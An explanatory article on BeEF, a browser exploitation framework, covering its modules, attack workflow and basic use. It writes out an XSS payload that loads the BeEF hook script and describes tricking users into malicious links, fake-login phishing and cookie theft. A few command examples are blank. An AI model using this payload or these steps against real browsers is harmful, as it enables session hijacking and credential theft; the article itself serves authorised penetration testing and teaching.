Table of Contents
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What is BeEF?

BeEF, short for Browser Exploitation Framework, is an open source penetration testing tool that focuses on exploiting vulnerabilities in web browsers. Developed solely for lawful research and testing purposes, BeEF allows security professionals to assess the actual security posture of a target environment by launching client-side attacks. Unlike other security tools that examine the hardened network perimeter, BeEF targets the often overlooked weak link - the web browser.

By hooking one or more web browsers, BeEF establishes beachheads to launch directed command modules and further attacks against systems from within the browser context. With the proliferation of web-borne threats, including those targeting mobile devices, BeEF provides penetration testers an essential tool for evaluating end-point security.

Key Features

BeEF boasts an impressive arsenal of features for client-side exploitation:

  • Web browser hooking - hijacks one or more web browser sessions for launching attacks

  • Command modules - over 200+ modules for reconnaissance, social engineering, and exploiting browser/system vulnerabilities

  • Social engineering - fake data entry prompts, credential phishing, tabnabbing, pretty theft, etc.

  • Network discovery - identifies networks/devices accessible from the hooked browser

  • Metasploit integration - leverages exploits/payloads from the Metasploit Framework

  • Persistence - establishes a persistent hook to enable long-term access

  • RESTful API - interface for automating and extending BeEF's functionality

  • Web UI - intuitive interface for managing hooked browsers and launching commands

Components of BeEF

BeEF consists of the following core components:

  1. BeEF Server - the main component that runs the web UI, manages connected browsers, and exposes the RESTful API. Implemented in Ruby with SQLite as the database backend.

  2. BeEF Modules - the command modules that perform specific attacks and exploits. Written in JavaScript and hosted by the BeEF server.

  3. BeEF Client - the JavaScript hook that runs in the web browser, communicates with the server, and executes commands. Generated by the BeEF server for injection into web pages.

  4. BeEF Console - the interactive console for sending commands to hooked browsers and viewing results. Accessible from the BeEF web UI.

  5. BeEF Extensions - allow adding new functionality to BeEF. Useful for framework integration and developing custom modules. Examples include Metasploit and Geoip.

Who Should Use BeEF?

BeEF is designed for the following users:

  • Penetration testers evaluating client-side attack surface and defenses

  • Security researchers studying web browser and system exploits

  • Web developers testing their applications for vulnerabilities

  • Software vendors assessing the security impact of web-enabled features

  • Educational institutes teaching web application security concepts

BeEF is not meant for malicious hacking activities, but rather for lawful security research, testing, and defensive purposes.

How Does BeEF Work?

A typical BeEF workflow involves:

  1. Preparation - attacker configures the BeEF server and crafts malicious web pages/URLs with the client-side hook

  2. Injection - attacker tricks the victim into opening the malicious URL, injecting the hook into their browser

  3. Hooking - injected client code connects back to the BeEF server and awaits instructions

  4. Control - attacker uses the BeEF console to view hooked browsers and launch commands

  5. Exploitation - command modules perform actions via the hooked browser, exploiting any found vulnerabilities

  6. Reporting - attacker generates reports from the BeEF database detailing the findings

BeEF hooks maintain a communication channel with the server using techniques like XHR, WebSockets, and DNS. Anti-forcequit features and persistency modules help the hooks survive across navigations.

How to Get BeEF?

BeEF can be obtained in multiple ways:

  • GitHub Repository - clone the public repo to get the latest development version

  • Kali Linux - comes pre-installed with BeEF in /usr/share/beef-xss/

  • BeEF Website - links to downloadable packages and installation instructions

  • Docker Images - official images for containerized deployment

Detailed requirements and installation steps are available in the project's README. Basic prerequisites include Ruby, SQLite, and Node.js.

How to Use BeEF?

To use BeEF, follow these step-by-step instructions:

  1. Start the BeEF Server: First, you need to start the BeEF server. Open a terminal and run the following command:


This will start the BeEF server, and you should see output indicating that the server is running.

2. Access the BeEF Console: Once the BeEF server is running, open a web browser and navigate to http://localhost:3000/ui/panel. This will take you to the BeEF console login page. The default username is "beef" and the default password is "beef".

3. Hook a Browser: To hook a browser, you need to inject the BeEF hook into the target web page. There are multiple ways to do this:

  • XSS Vulnerability: If the target web application has an XSS vulnerability, you can inject the BeEF hook using that vulnerability. For example, if the application allows user input to be reflected on the page without proper sanitization, you can input the following payload:

<script src="http://localhost:3000/hook.js"></script>
  • Malicious Link: You can trick the user into clicking on a malicious link that includes the BeEF hook. For example:<script src="http://localhost:3000/hook.js"></script>
  • Malicious URL:You can also directly use a malicious URL that includes the BeEF hook:


Once a browser is hooked, it will appear in the "Hooked Browsers" section of the BeEF console.

4. Launch Attacks:With a browser hooked, you can use the various modules in BeEF to launch attacks. Here are a few examples:

  • Social Engineering:To create a fake login page, go to the "Social Engineering" tab in the BeEF console and select the "Pretty Theft" module. Configure the module with the desired options and click "Execute" to launch the attack.

  • Reconnaissance:To gather information about the hooked browser, go to the "Browser" tab and select the "Get System Info" module. Click "Execute" to retrieve details about the browser, operating system, and installed plugins.

  • Exploits:BeEF includes various exploit modules that can be used to target specific vulnerabilities. For example, to test for a known vulnerability in Adobe Flash, go to the "Exploits" tab, select the appropriate module, and click "Execute".

5. Commands and Modules:BeEF provides a wide range of commands and modules that can be executed on hooked browsers. You can explore these options in the BeEF console under the "Commands" and "Modules" tabs. Some commonly used commands include:

  • browser.window.alert(): Display an alert message on the hooked browser.

  • Open a new window or tab on the hooked browser.

  • browser.cookie.get(): Retrieve cookies from the hooked browser.

  • browser.location.assign(): Redirect the hooked browser to a specified URL.

Remember to use BeEF responsibly and only on systems you have permission to test. Always obtain proper authorization before conducting any security testing.

Bottom Line

Web browsers remain a lucrative target for attackers, making defensive security testing essential. BeEF fills this need by providing a comprehensive framework for launching client-side exploits and examining actual browser security posture. While potent, BeEF is meant strictly for legitimate research and testing - never unauthorized or malicious hacking.

By hooking live web browsers, BeEF gives penetration testers an inside track to evaluate vulnerabilities and exploits in a real-world context. Its web UI and RESTful API allow easy command execution, while the modular architecture supports extensibility. Security professionals would do well to add BeEF to their arsenal - and use it to put web clients through the wringer before actual attackers do.




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